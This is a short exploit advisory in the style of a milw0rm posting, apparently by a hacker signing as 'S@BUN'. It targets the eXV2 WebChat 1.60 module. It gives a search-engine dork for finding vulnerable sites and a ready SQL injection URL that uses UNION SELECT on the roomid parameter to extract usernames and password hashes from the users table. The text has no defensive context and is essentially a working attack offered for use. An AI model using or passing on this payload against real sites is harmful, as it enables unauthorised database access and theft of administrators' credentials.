eXV2 Module WebChat 1.60 (roomid) Remote SQL Injection Vulnerability

########################################## # # Powered by eXV2 WebChat 1.60 SQL Injection # ########################################## # ##AUTHOR : S@BUN # ####HOME : http://www.milw0rm.com/author/1334 # ####MAİL : hackturkiye.hackturkiye@gmail.com # ########################################### # # DORKS 1 : allinurl :"modules/WebChat" # ########################################### EXPLOIT 1 : modules/WebChat/index.php?roomid=-9999999/**/union/**/select/**/0,uname,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201 ########################################### WebChat 1.60 Submit date: 2006/6/13 Homepage: www.exv2.de Version : 1.60 Downloads : 561 Filesize : 79.76 KB Supported platforms : eXV2 ########################################### ##################S@BUN#################### ########################################### #####hackturkiye.hackturkiye@gmail.com##### ###########################################